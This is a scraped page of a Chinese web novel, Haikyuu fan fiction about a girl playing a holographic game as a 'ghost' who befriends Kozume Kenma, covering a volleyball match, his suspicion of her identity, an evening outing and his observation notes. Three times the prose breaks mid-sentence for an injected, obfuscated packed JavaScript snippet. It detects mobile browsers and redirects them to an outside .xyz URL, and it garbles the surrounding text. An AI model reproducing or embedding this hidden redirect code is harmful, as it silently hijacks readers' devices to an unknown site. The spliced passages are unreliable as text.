“如果你最后得到的答案并不是自己想要的,是不是不清楚比较好。” 他不认同地看向我:“千流会这么想吗?” 我坦诚回答:“不会。” “如果答案不是我想要的。”他专注地凝视着独角仙,它一心只有眼前的浆果,“那就把它改成我想要的。” 哪有那么容易。 不过我并没有挫败他的想法,脑海里突然晃过在海洋馆里“来自未来的研磨”的神情,与眼前稚嫩的面庞恍惚间重合起来。 我站起身,拍了拍他的肩膀:“相信你。” 说不定,在这部游戏里,身为主要攻略对象的孤爪研磨就是无所不能的。 10. 研磨猫猫养成手札 09 * “千流今天这么急?”江大厨手拿锅瓢,锅里的菜盘旋在边缘,他侧身从窗口探头。 我解开身上的制服,抓起包:“今天有急事。”我远远指了指江大厨的锅,“菜要掉出来了。” 一回到家,我把所有东西都放在入户门的柜子上,踩着一双左右颠倒的拖鞋直奔游戏舱。 小八抱着金色的沙漏:[现在跑进游戏界面还来得及] 刚进入游戏界面,我来不及打量自己此时的装扮,从排球馆座位的角落一路鞠躬抱歉换到了研磨为我预留的前排座位上。 排球选手们还在准备入场,看来我来得不算晚。 我从小八给我准备的道具包里掏出写着金灿灿[加油]的红色绸带,围在自己的头上。行云流水地拉开写着[蘑菇力加油]的啦啦队旗帜,严阵以待。 旁边双马尾的JK好奇地询问我:“这场比赛有名字这么特殊的球员吗。” 这是我第一次用自己的声音跟日本人交谈,虽然只是游戏角色,我一边有些担忧自己的口音过于奇怪,一边解释道:“这是我给朋友起的昵称,因为他比较害羞,不喜欢引人注目,所以只好用这个昵称的横幅。” 看来我的日语还是相当流利的,不枉我为留学看的那些网课,面前的JK显然听懂了我的话。 她压低音量:“男朋友?” 我没有回答,示意她伸出手,手掌虚握在她手的上方,下一秒,我抽回手,一朵白玫瑰出现在她的手中,她讶异地捂住嘴。 我眉眼一弯:“我可是准大学生了。”预备高三生当然也能四舍五入算准大学生。 我笑容一僵,用意念咬牙切齿地问道:“小八,你为什么给我一个暴栗。” [禁止玩家滥用游戏道具和使用wink乱撩未成年女孩]小八举起警告牌声线平平地回答。 于是,我只好乖巧地正身坐在位置上。 说起来,这是我在游戏里认识研磨这么多年来第一次看他打排球比赛。 当然,并不是我不想看,我早就想来掺一脚热闹了,和小八买的担架也在仓库里落了灰。 ——不过用担架把运动完气息奄奄的研磨抬回家这个计划经过我的观察几乎彻底泡汤了。 无他,虽然研磨嘴上嚷嚷着“讨厌运动,讨厌流汗,讨厌变累和流汗,最好坐着一动不动。”但在排球社团强制的运动量还是足以他的体力发生质的变化。 不过是在这个体力变态遍地走的世界显得差了些,但还是比我好上很多倍的。 说来,有一天在目击研磨跟着大部队跑了五圈后才开始气喘后,那天晚上我久违地做了一个很可怕的噩梦。 那只大研磨用着小研磨的身体和声线,凑到我的耳边,问道:“千流要不要看看我的锻炼成果。” 我笑得前仰后伏,一边说着“你这个小蘑菇力”一边咧开嘴把他手臂上的衣袖往上撩。 肌肉适中的手臂在我握上去之后诡异地膨胀了起来,像短视频博主那种练得庞大的肌肉附在研磨的手臂上。 我吓得骤然睁开了眼,在晚上登入游戏,见到研磨的第一面,我用相当迅速的语气说着:“嘛,研磨,追求好身材也没什么错,哈哈,不过,我觉得那种韩漫里巨大的肌肉好像不是很有美感,你觉得呢?” 他茫然又迟缓地点点头。 我长舒一口气:“我觉得研磨现在这样就很健康!” 研磨思索片刻:“千流看了什么韩漫?” 我把脑中闪现的一长串oo韩漫和双开门摁灭在脑海里,即便研磨看不见,我还是露出端庄的笑容:“最近看的是穿成小公主的养成系韩漫,非常治愈。” * 刚刚偏题了,之所以一次研磨的比赛都没看,是因为小八的重要节点存档功能竟然不会对研磨的比赛节点进行存档,而刚好每次我能登入游戏的时间都与研磨错开了。 导致明明他已经上国中二年级,加入排球社团也是第二个年头,我却没看过他的任何一次正式比赛。 [可能在研磨心里,这些比赛的重要性还没有到那种可以被系统存档的地步,毕竟系统是根攻略人物的心理期望来衡量的。] 不过上次我路过研磨放在书桌上的日历后,瞟到一个月后的某天被打了星号的重点标记。 研磨瞥了眼日历,接着滑动手机:“那是排球比赛的日子,小黑国中的最后一场排球比赛,排球部的大家都很重视。” “诶——那研磨呢。” “我还好。”他合上手机,“不过要是能赢的话,小黑应该会开心。” “国中的几个学长对我也蛮好的。” 我看着日历本,在心里计算着日期,刚好与我忙碌的时间点错开了。 [那那天,我去看研磨的比赛吧!] 我盘点着系统里的道具。 [刚好我们上次完成的“无名的初中生侦探”任务奖励是实体卡一张,到时候我就用实体去给研磨加油,怎么样!] 研磨手中的屏幕陡然被摁亮,我疑惑观察一声不吭捧着手机的研磨,良久:“千流不是对排球比赛不管兴趣?” 我猜他当然是根据每次排球比赛我都没有弹出弹幕得出的结论。 “只是刚好没空而已。” 我一通编辑:“难道研磨不想让我看你打排球吗?” “没有。”他矢口否认,“那我给你留个位置。” 当然,后续黑尾当着我的面揽住研磨夸他最近练排球更用功的事情我就不加赘述了。 * “喂喂,研磨。”三木在黑尾鼓舞士气的时候戳了戳研磨,“我妹妹旁边有一个很好看的大姐头。” 研磨一脸黑线,很好看的大姐头是什么称呼。 他顺着三木说的方向看去,自己给千流留的位置上坐着一个身穿黑色皮衣的少女,长发高高束起,正侧身与身边的女孩说话,大概就是三木的妹妹。 得益于自己较好的视力,研磨勉强辨认出她手上是铆钉的手环,至于脑袋上绑的,是发带? 他回想水族馆里的童年千流,头一回有些游移不定。 直到她虚握住对方的手,在对方惊讶的目光下变出一朵鲜花。 耳畔是三木目瞪口呆说着“不是吧,漂亮大姐头在给我妹妹送花”,研磨失笑地确认了这样的举止绝对是千流,至于这套装束,或许是系统随机分配的。 观众席上的千流突然停下与身旁女孩的交谈,穿过重重人群,与他对上了视线。 头上发带写着的加油映入眼帘,千流穿着有些酷的皮衣朝他露出一个灿烂的笑容,然后把放在双腿上的东西高高地举起。 [蘑菇力加油] 好吧,继豌豆公主和田螺姑娘后,千流又给他起了一个新外号。 红色的加油旗帜左右摇曳着,占据了他全部的视线。 黑尾拍了拍他的肩膀:“要上场了,研磨。” “好。”研磨举起手,挥了两下,而后小跑两步跟上队伍。 “在跟谁打招呼。”黑尾觉得有些罕见。 “一个好朋友。” “诶,怎么之前都没有见过。” “...网上认识的。” “那打赢比赛了叫他一起来吃饭,怎么样。” 研磨迟疑:“可能会怕生,我再去问问。小黑这么有信心吗?” 怕生倒是不会,千流在小黑进化前就是一个社交恐怖分子了,这么说只是因为不知道系统允不允许她跟这么多人交流,比如人鬼之间的交流准则。 “总不能说丧气话吧。”黑尾拉着他,队员们团团围成一圈,他们的手交叠在一起,大喊了一声“加油!” * 我现在已经初步掌握了三木小同学的哭泣节奏,宛如一个抽纸机器趁她不注意从系统空间里变出一沓又一沓纸,又把她生成的纸丢进系统垃圾桶。 “哥哥...”她抽泣地说,“他为这次比赛努力很久了,但是为什么还会输。” 这是一场很难用输赢来简单评价的比赛。 双方的选手都付出了最大的努力,在比赛结束的哨声吹响后,包括我在内的所有人都站了起来,给以钦佩的掌声。 但比赛总有输赢。 我抱了抱她,拍着她的肩膀:“你哥哥可强大了,他一定会很快振作起来。” 三木圆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988457|161580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼泪汪汪地看着我,她用纸巾擦掉眼角的眼泪:“姐姐,你还是不了解我哥哥。” 那倒是,我连赛场上哪个是你哥哥都不知道。 眼前突然出现了一个巨大的阴影,我抬头一看,这样的个子对于一位初中生来说还是太超过了,少说也将近一米八了,是吃激素长大的吗。 将近一米八的猛男就这样在我俩面前蹲下,三木圆止住眼泪,扑到他的肩膀上,大嚎了一句:“哥哥!” 我放下心来,有了哥哥的安慰,妹妹应该不会太难过...... ...... 我下结论过早了。 一米八的三木同学抱着自己的妹妹发出了更加巨大的嚎啕大哭,眼泪如瀑布一样倾泻落下,我看了看系统空间里的纸,估测着好像有些不够用,于是盘算着再去进点货。 我被人拍了拍肩膀,侧目看去,是蘑菇力脑袋。 我的脑子被猛男落泪的场景冲击了,一下没有正常运转,我愣了愣抬起自己的肩膀:“需要我借你一个肩膀哭泣吗。” 研磨一噎:“也没有很想哭。” 他示意我下来,我一下跃下台阶。研磨把带来的纸巾留给三木兄妹。 我一边跟着研磨,一边询问:“三木同学,一直都这样吗。” 研磨点点头:“他每次都会憋得整个脸都涨红,只有在家里人面前才会哭得出来,为了防止他憋眼泪昏迷,所以他的家里人每次都会轮着来看比赛。” 我表示叹为观止。 “黑尾呢?” “高年级的学长去了厕所后就没有回来,小黑怀疑他们在厕所偷哭,说要把他们的窘态都拍下来。” “其实是去安慰人了吧。”我有些感慨,黑尾在学了排球,尤其是当了初中排球部队长之后,整个人都变得外向了许多,可能是因为要经常与队员交流和照顾人,总之相当可靠。 完全看不出来小时候比研磨还要内向。 “排球改变了黑尾好多。” “嗯。” 我定定地看着研磨:“嘛,不过研磨还是原来的研磨。” 而后又觉得自己的说法不大正确:“说不定排球也在偷偷改变研磨。” 我们依靠在排球馆的角落,研磨站在我的身前,我就像藏在他的影子里。 “研磨真的不想流眼泪吗,偷偷哭也没事,我是不会告诉别人的。” 他揉了揉脑袋:“真的没有想哭,不过就是有些遗憾而已,如果赢了小黑应该会开心地结束国中生涯,还有千流第一次来看我比赛。” 他微滞,垂眸:“我还蛮想千流看我赢的。” 我拱手,和研磨分享我小时候玩网游的时候很喜欢的那句台词:“胜败乃兵家常事,大侠请重新来过。” “就算是这次比赛输了,下一次我们再赢回来。” 这本来是再正常不过的鼓舞人的话语,研磨却久久没有回复我。 直到我都误以为他因为我的安慰难得地低头垂泪,想着怎么呵护小孩的自尊心。 研磨抬起头,睫毛也未曾颤动:“我突然发现之前说过的一句话是错误的。” 我们同时想起那个夜晚。 “把不想要的答案改成想要的,或许它就不再是原来的答案了。” 其实他也没有那么无所不能,比过去更加努力,但还是会失败。 或许是因为平常练习没有跟别人那么用功,或许这次排球比赛失败的症结并不是一个人的不够努力。 下次努力赢下的比赛,但最想赢下的那场已经停在了过去。 话虽这么说,不过人还是要继续前进的。 研磨开口止住了我尚未说出的安慰的话语:“我现在觉得,抓住当下的答案最重要。” 我张了张口,这算不算“继续前进”的另一种解释。 他伸手,隔着铆钉手环扣住我的手腕。 小八到底给我准备了一套什么稀奇古怪的服饰。还未等我在心中愤愤地吐槽一通,手环被研磨微微转动,拽回了我的思绪。 “我现在想知道一个问题的答案。”那双琥珀色的眼眸沿着相扣的手缓缓抬起,“千流,真的是鬼吗。” 11. 研磨猫猫养成手札 10 诶?! 脑袋像生锈僵硬的齿轮,一卡一卡地转动。我勉强维持着茫然的微笑与研磨对峙着,直到在那双透彻的眼眸的注视下,连微笑都难以维系了。 慌乱中,我摁下了游戏暂停的按钮。 [小八呢,小八来救一下] 身旁一团团蓝色的小幽灵逸散着荧蓝的微光,落在我的手心,像被海浪亲昵地触摸,我渐渐平复心情。 ——所以小八锤我的时候使命必达,这种时候姗姗来迟。 它手上的书册飞速地翻动着。对此小八曾经解释过,书页翻动只是一种特效,实际上在高速运算的还是它的AI大脑。 [在根据玩家以往的攻略经历分析研磨这样质疑的原因] “所以,千流真的是鬼吗。” 研磨问这句话的神情盘旋在我的脑中,虽然我已经走在人设崩塌的边缘了,但不管怎样都并不觉得那是一句审问。 “我应该没有很多漏洞...吧?” 小八手上的书页翻得越来越快,最后停了下来,它举起停在最后的那一页:[经过数据整理,这里记录了玩家十次的话语里的前后不一,放在数年的游戏时间内确实不算多。 ] [需要我帮玩家念出来吗] 不等我做出回答,小八就跃跃欲试地念了起来。 [研磨八岁] [玩家说鬼不会生病,但之后说自己做鬼的时候经常打工,而生病会影响打工速率] 我嘴硬:“这可以是我的思维惯性,毕竟要是活着的时候经常生病,做鬼对生病有心理阴影也是有可能的。” 小八接着念到。 [研磨十岁] [玩家和研磨一起去看鬼片] [除了玩家和研磨,其他人都买了比较后排的位置] 这件事我还记得,毕竟那时候我还买票了——虽然身为鬼逃票完全不会被发现,但本人是守法公民。 [这部鬼片还算精湛,某个突脸情节研磨也没有防备,握在手上的爆米花掉到了地上。] “我那时候绝对是安抚了研磨。” 小八淡淡:[研磨冷静片刻,跟玩家说笑得小声一点,“哈哈哈哈”的文字都彻底挡住他的视线了。] [玩家不要擅自给自己安上体贴的人设了。] 这完全是诽谤。 小八的视线向下一瞟,顿了顿:[研磨问玩家,从来没有害怕过鬼吗] [玩家义正言辞地表示,自己是唯物主义者。] [哇——记录中表示,研磨安静了足足十分钟,而后忍不住问了玩家] ....我完全想起来了。 “那千流怎么解释自己的存在。” “小八,这个漏洞我当场就补上了。” 反应非常迅速的玩家千流马上表明:“鬼也是一种物质的反应,只是当下的科学不能解释罢了。” ...... [综上,上述十处疏漏确实不能实锤玩家在撒谎,不过作为质疑的理由已经够了。如果是比较不细心的攻略对象倒也没什么,但是遇上研磨,玩家应该明白的吧。] 当然,系统亲自认证的智力值五分满分。 我抓了抓头发,叹气:“是我太松懈了。” 大概是第一次玩全息游戏,面对面的相处与隔着屏幕的文字选项相比少了些思考的时间,换作别的背景的游戏,我可能已经重开好多次了。 [玩家要注意少用时停,我们暂时还没有弄清楚时停的负面影响,但是可能会导致攻略对象的数据混乱,这个bug我们后面会打补丁。] 大不了就是开二周目嘛,我这样安慰自己。 * 我做好与研磨对峙的准备,总之能忽悠多少就是多少。 我扬起笑容:“我当然是鬼了,你这是什么问题。” 国中二年级的研磨身高尚未超过我,我收回被他扣住的手腕,上面的铆钉装饰浮夸炫目地让我嘴角一抽,握着这种手环真的不会觉得疼吗。 我抓起他的手稍微打量了一番,只是有一些红点。 “是不是因为这幅身体太真实了,我们鬼界的系统确实很强大。” 他又向前走进一步,跨过光与阴影的边界,背着光,我看不清他的脸。 “叮咚”的手机铃声打破了我们之间微妙的沉默,研磨拿起手机,滑动消息界面,我悄悄观察他,屏幕的光照得他的双眸静静的,像海里触不到的月。 研磨关掉手机,蘑菇力脑袋突然点了点。 “小黑说他们几个三年级的学长要出去聚餐,明天再跟我们聚,千流有什么想吃的吗?” 诶?这样就过关了吗。 轻易地连小八都幽幽地在我身边碎碎念:[要么就是研磨很信任你,要么就是他放水了,总之我们这一周目还能接着推进,耶] [那我希望研磨是放水,要是太信任我,那简直很有负罪感。] [玩家会有负罪感这种情感吗?] [别把我说成什么人渣的样子好吗!!!] 我马不停蹄地举手表示:“我要吃馅蜜、年糕、梨馅饼...” * 于是,在饭点,我和研磨出现在了东京的一家甜点铺里,我大手一挥点了五花八门的甜点,站在一旁的服务员小姐善意地提醒:“这些甜点都有些撑,要不要帮您把一部分取消,或者打包起来。” 刚从小八那得知系统更新之后,实体状态的我是能够感受到食物的味道的,我已经准备大展身手了。 “其实我是YouTube上的大胃王博主,所以这些食量对我来说不算什么啦。” 我腼着脸接受了店员“真没想到您这么瘦居然是大胃王博主”,并和她商业互夸了起来,转过头的我脸上还挂着得意的笑容。 研磨趴在桌上,只露出一双眼睛,声音也闷闷的,但眼角弯弯:“鬼不会吃坏肚子吗?” 我一时难以判断这句话是不是故意的:“才不会。” 他支着脸,刚刚被遮挡住的下半张脸彻底地露了出来,嘴角稍稍上扬:“是哦,鬼不会生病。” 黑心猫。 这下我确认他绝对是故意的,我不接招,侧身看向窗外。 记得第一次和研磨见面是快入秋的日子,秋意把银杏树染得金黄,而现在三月将至。动漫里满天飘落的樱花在现实中也开遍了东京,随处可见站在樱花树下的少年,风一吹,东京就落了雨。 京果子也是五瓣樱花的形状,我小心用叉子把它拾起,就像捡起了一朵花。 稍微有些甜腻,但配上茶水刚刚好。 研磨咬了一口京果子:“小黑要是知道了。” 我噗呲一笑:“小黑要是知道了,就会说——研磨又不好好吃饭了,晚饭吃甜点什么的。” “小黑真的很像妈妈。”我摁住浮想联翩疯狂脑补的脑子,比如什么小黑妈妈穿围裙煮饭诸如此类的情节。 “好可怕,千流。”研磨盯着我色彩缤纷的脸,“一定是在想什么可怕的东西了。” “才没有——”我目移。 * 我们漫步在夜晚东京的街道上,拥挤的人潮裹挟着我们向前,我和研磨开玩笑说着“其实在东京也蛮好”。 他问我为什么。 我指了指被人拱得找不到东南西北的我俩,“这样连脚都不用迈了,全自动被推着往前走,适合懒人。” 研磨从来不会被逗得前俯后仰地笑,即使在很多时候他都侧过脸弯着眼睛,也不会和我一样爽朗地笑出声,莫非是日本人都比较内敛? 我的脑海中闪过不少动漫角色,很快否定了这个想法。 只是研磨比较内敛。 于是想到哪是哪的我偷偷在自己的攻略计划手册上填上一条——把研磨逗得前俯后仰地笑(让小八吓得又去检查是不是数据失常了) 不过我想,即使是住在东京,我也不会频繁地上街。大都市给我带来的便捷就是物产更加丰富,能够更快拿到新鲜出炉的周边与游戏卡带。 比起被人拱着走,我更喜欢缓步走在自己的小道上。 街道上的人行色匆匆,小女孩仰着脸,一脸希冀看着街边小摊贩的气球车,拽着妈妈的手,她的妈妈大步流星地拉着她穿过嘈杂的人群,站定在桥上,边望着湖水边打着电话。 我和研磨在湖的对岸把这一切纳入眼底。 他看着已经迈开腿的我:“今天的日行一善任务还没有完成。” 这是我们新解锁的日常任务,不过我们普遍做的就是捡起乱扔的垃圾这种小小的好事,扶老奶奶过马路这种情况都算少见。 毕竟马路上不会每天随机刷新一位老奶奶。 不过今天的善事在我们给三木兄妹留纸的时候就已经完成了。 “今天的任务已经做完了。” 我转过身,一边倒着走一边用余光注意着不要撞上路边的行人。 我向研磨招手,示意他赶上我的步伐。 “接下来要做的就是江千流自己想做的事情。” 我有些气喘吁吁地停在小女孩身边,她的妈妈已经打好了电话,“阳乃,我们回家吧。” 我向她的妈妈说了声抱歉, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988458|161580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然后蹲下身,视线和小女孩齐平。 “阳乃小朋友,你忘记了一件东西。” 她懵懵地歪过脑袋,向我展示她的小浣熊背包,认真地说着:“姐姐,我有把所有东西都放进包里哦。” 我的心一下变得软乎乎的,费了好大劲才忍住不笑,接着说下去:“但是你真的忘掉了一件东西,把手伸出来一下吧。” 她看了眼妈妈,然后乖乖伸出手。 我故弄玄虚地把另一只手放在身后,自己给自己配上“咻”一下的音效,随后把一根细线放在女孩的手上,我们一起抬起头,细线的另一端系着的是小浣熊的气球脑袋。 她的嘴巴半张,半晌说不出话,只是维持着O型的嘴巴盯着我。 “这是魔术师送你的小气球,希望你天天开心。” 她的妈妈一脸不好意思:“阳乃,把小气球还给姐姐,不能拿别人的东西。” 我拉过站在一旁的研磨:“我和我弟弟一起卖气球,这是今天的最后一个啦,我们想卖完早点回家。” 话说一半,我的脑海里又蹦出一些奇奇怪怪的话:“气球滞销,帮帮我们!” 然后“道谢鞠躬”一串连招,拉起研磨脚底抹油地消失在街道的拐角。 我累得气喘吁吁,研磨倒是没有任何奔跑之后的疲惫。 在窄窄的巷子里,咻的一声烟花窜上空中,它恰好在我们的上方绽放,我们的天空有些狭小,只能看到那绚烂烟花的一小簇。 饶是这样,我还是新奇地看向异国的第一场烟花,今天并不是什么节假日,可能有些人心情开心,肆意地一放。 “喂,研磨...”我想要和他分享过去看动漫的时候对于日本烟花祭的憧憬,却看见他侧身仰头望向天空中烟花的余烬。 我一时止住话头。 和他一道静静望向天空,细碎的流光坠往各处。 此时的景色与脑海里一张张动漫场景相近,我忽然意识到,两个人一道望向天空,就看不到对方的侧脸。 天空再次重归寂静。 我出神地想着,假如我有喜欢的人。 该怎么和他既把漫天一瞬的烟火刻在眼中,又能看到当时爱人的侧脸呢。 或许并没有这种两全其美的方法,所以人们认为,在此时侧身望向爱人,就是描述“喜欢”这种情感的证据。 我回过神,研磨已经低下头静静地望着我。 “我刚刚在想事情。”我解释道。 忽然想到,研磨从来没有问过我在想什么。 小巷有些逼仄,在看完烟火后,我才发觉这里有些拥挤,想要和研磨一起走出这条巷子。 “我也在想事情。”他站在巷口,三月的春日傍晚还有些凉意,微风搅乱他的发丝,“动漫里的人物都会在看烟火的时候看向喜欢的人。” “要是有那个人,我想和她一起看烟火。” 我欣喜地拍了拍他的肩膀,颇有志同道合之感:“我也是这么想的,不过应该没有这种办法吧。” “有的。”他说,“假如是在玩游戏,就能把那种场景用CG图记录下来。” 我一愣,继而说道:“你怎么这么聪明。” 游戏里研磨时代的科技还没有到全息技术普及的时候:“到时候你当大老板,开发一个全息游戏,怎么样?” “好啊。”他的神情不像作假。或许这就是智商满值的攻略角色该有的自信吧。 就像开一家游戏公司是很普通的事情。 研磨缓缓走在我的前面:“他们说有时候懒的更擅长创造一些东西。” 好吧,其实我也听到过这种说法:“懒人总是能想到方法方便自己。” “不过呢,或许有的人虽然看起来懒洋洋的,但是脑子一刻不停地转动,这也是很费精力的。”我冲他眨眨眼。 研磨心领神会地笑了笑。 不知不觉又回到了湖边的桥岸上,片片樱花落入水池,荡向他处。 我用“魔术”变出来一个小小的包裹,方方正正地,递到研磨手里:“——临别礼物,刚刚想到要送的,研磨回家拆开哦。” “下次再见。”我开玩笑说着,“不要哭鼻子。” 研磨的害羞阈值果然比小时候高了,在他的注视下,我觉得自己才是那个年纪更小的人。我被他盯得头一次有些不好意思。 好在研磨一直都是擅长察言观色的人,就算是黑心猫也会偶尔放放水。 他朝我挥手,研磨挥手的时候手指总会下意识地微拢,让我觉得是星星在眨眼。 “下次再见,千流。” 12. 狐狸观察笔记 ■■ * 孤爪研磨穿行在密密麻麻的人群里,一不留神就会与他人的肩膀撞在一块,他拉高自己的衣领,低下头,掠过的时候像一抹影子。 拥挤的人潮让把自己捂在衣领下的研磨更闷了,他偶尔要伸出脑袋喘喘气。 他看到远处的缝隙闪烁着金闪闪的光点,快步往那里走去,“叮铃”一声。 他自己宣布——从人潮里生存下来的任务成功达成。 所以刚刚为什么会在穿梭于人群中的时候,感到轻飘飘的呢。 或许千流用了什么系统特质的防具,以至于在拥挤的人群里也能身轻如燕。 也可能是她那些奇怪的想法,让他忍不住地笑,人一味笑着就会变傻对吧,就像笑声挤占了其他脑细胞生存的空间,愉悦充盈了感官。 他还是不明白为什么会有人“懒”到说出被挤着走省力这种话。 好奇怪。 总之,他成功抵达了家门口,手机一直在兜里震动不停。 应该不是爸妈的信息,因为他说过不在家吃饭了,所以联系他的只有小黑。 点开信息栏一看,果然。 小黑的消息就像炮仗一样在他的屏幕上炸开了。 [小黑:哈,研磨,三木他说你被一个超漂亮的大姐头带走了,什么情况?] 他就知道三木会说。 看来整个排球部都知道了。 [小黑:是姐姐?表姐?] 研磨加快了打字的速度。 [研磨:不是,是网友,朋友,之前说过的。] 他一直都不喜欢社团的上下级关系,也不觉得单是年龄能决定什么,阅历或许会影响心智,但不代表年纪小就没有话语权。 当然,千流对着那对母女说自己是“弟弟”,和这些没有任何关系。 她把自己当弟弟看待完全是显而易见的事情,研磨甚至有时候觉得那是“养崽”的表情,要是哪天千流口误对她说出“崽”这个字,他也能装作没听到。 但还是不喜欢。 他更希望哪天千流把他当成平辈的朋友,就跟他们每次默契地打游戏一样,游戏里抹去了他们的年龄,所以他们只是伙伴。 其实说他有些叛经离道也不为过,研磨知道自己与大多数人的想法都不太一样。 任何他者贴在自己身上的标签都让他有点反感,年龄、性别、身份,说到底都决定不了什么。 就像朋友,有的朋友见到第一面就会是朋友。 不过不是指他和千流,毕竟见到第一名的时候,他甚至没见到她的脸。 [小黑:哦~朋友。] [小黑:知道你聪明,会交朋友,不过还是小心别被社会人士骗了(随口建议)] [研磨:嗯。] [研磨:小黑哭好了吧,明天眼睛还会肿吗?] [小黑:谁哭了?!我是去安慰人,用我宽阔的胸膛承接他们的泪水。] [研磨:建议你用鸡蛋敷一晚上的眼睛,这样我就看不出来你的嘴硬。] “见好朋友了?”妈妈敷着面膜躺在客厅的沙发上,上面放的是十点档的狗血剧,她总是没有认真看,对剧情的了解连只是听了两耳的研磨都比不过,放狗血剧的目的是刷手机的空闲听两耳离奇的台词。 然后咯咯咯地笑。 其实妈妈也算一类离奇人群。 “嗯。”他手里还拿着千流送的礼物,迎着妈妈嘀哩咕噜转的眼睛泰然自若地回到了自己的房间。 * 还真是突发奇想。 《看完这本书,教会你怎么成为总裁》,他还是翻看了几页,出乎意料,这本书写得还不错,不像鸡汤文,功底扎实,案例分析详尽。 ——想来也是,毕竟是千流口里那个无所不能的系统。 他打开一盏灯。 笔在指尖旋转,最后还是划掉了那行[她或许不是鬼]。 他们算朋友吗? 孤爪研磨也不明白。 可能千流那里算是,自己和她的相处模式也和与朋友的相处没什么差别,在未曾开口就能洞悉彼此想法的时候,他也觉得他们会是最好的朋友。 但写关于朋友的观察笔记,再怎么说也是一件奇怪的事情。 或许是因为相遇就很奇怪。 在某个玩恐怖游戏的夜晚,一只来自中国的女鬼闯入他的房间,既不勾魂也不索命,干的最坏的事情就是把他关到窗帘里。 但马上就把他放出来了。 然后告诉他,鬼的任务是积攒功德。 他对积攒功德和积分换东西没有多大兴趣,自己规划而后得到的更有掌握在手中的感觉。 但他对所谓“鬼”的另一个世界产生了好奇心。 在言辞中给自己留下适当的退路,不想做的时候装作做不到,也不会对自己的生活产生什么影响吧。 可是值得防备的鬼并没有对他做出什么,相反还非常尊重他的决定,看来生前是个非常够格的体面人。 每当他告诉自己,千流只是个普通的人,死了之后变成了鬼,没什么值得怀疑的,对方就会露出一些破绽。 要不是她那副表情明显是说顺嘴了,他都会怀疑对方是故意放钩给自己咬。 但他的线索太少了,怎么样也捋不清头绪。 有时候他会觉得,千流才是那种游戏里的“阳角”,虽然喜欢耍坏,但是行走在阳光底下都会明亮地晃眼。 张口闭口就是社会主义核心价值观,还有跟她在一起的日行一善的任务,积极向上,热爱生活。 ——假如她真的是鬼,那她大概率生前有一个很好的家庭,家里的人都很爱她,教会她怎么对待生活。 然而又错了。 一个有家人照料的人是不会对那些社会上对未成年开放的工作了如指掌,也不会洞悉社会上的某些潜规则,也不会说什么“生病了会影响打工的效率”。 因为生病的时候是应该休息和有人照料的。 所以推出的结果是,假使对方不经意透露出的消息也并非作假,那么她是一个虽然有着不幸福的家庭,但依然比常人更加努力生活和长大,甚至身为中国人对日语也非常了解,比寻常设定中的阳角更加阳光。 但这还不够。 一个人成长也需要动机,经历生活的千锤百炼接着走下去也该有支撑,就算是基于基因决定论,一个不好的家庭也不存在乐观向上的基因。 他找不到这一切推论的立足点。 所以他的观察只是空中楼阁。 于是他开始从细枝末节处产生质疑,或许对方本来就不是鬼,一切都是假的。 但是这么做的出发点又是什么? 一个可以把他的躯体拽到海域,还让他能够自由行走呼吸的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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一个家庭状况不太好的人,为什么在遇到路边的小女孩,看到对方眼里的渴望,就会上前送去气球。 答案简单到不需要推理。 他任由自己跟着千流跑,晚风吹拂面颊,让人在自己的心绪中得以呼吸。 风把爬上她发梢的落樱吹散了。 他们穿进小巷,天空中适时绽放烟花。 短暂的樱花,烟花。 然而。 他看着她专注的侧脸,晃神间抬头,只看到四散的余烬。 要是所谓的把缘分连在一起的造物主能够听到他的吐槽,那他想说——请不要用这种意象的事物牵动我的想法了。 * 好奇心不是好东西。 他想要观察千流,因为她的“身份”有趣。 他一面揭开未知,一面惴惴不安,不希望这份有趣因为不再是未知而变得无趣。 未知越揭越多。 当他再好奇地发问时,却发现自己的好奇心转向了。 不再是专注于身份,而是专注于一个人。 甚至有了偏向,不再愿意想另一种合理的可能性。 因为他真心地把千流当作朋友了吗? 孤爪研磨没有答案。 13. 狐狸观察笔记 ■■ * 黑尾和三木揽着肩,模仿卡拉OK电子屏幕上的两位唱将深情对唱着。黑尾的声音本来蛮适合唱歌,但唱女key就显得有些虚浮,他夹着嗓子配合着三木,还忙里偷闲督促偷懒的研磨:“气氛组在哪里?” 研磨看着被小黑强行塞进手中的沙锤,对方还朝他比了个wink的表情,他强忍吐槽的冲动——算了,小黑要毕业了。 勉强让他一次。 然后面无表情地跟着节拍摇动手中的沙锤,黑尾悠然演唱的声音突然一顿,总觉得研磨那摇沙锤的样子,下一秒就会把沙锤抡到他的头上。 研磨从来不知道可乐有酒精的功效。 但几位国三的学长把可乐喝出了酒的架势,一边咽着泪腔一边豪迈地把可乐往嘴里灌,更离奇的是国一的学弟忙挥手拉住他们说“不要再喝了”。 情至深处,另一位藤本学长冲到屏幕前,拿起麦克风,用破锣嗓子高唱“兄弟抱一下”,没有技巧,全是感情。 用四个字概括此时的场面,那就是——群魔乱舞。 * “研磨,真的不用我们几个送你回家吗?” 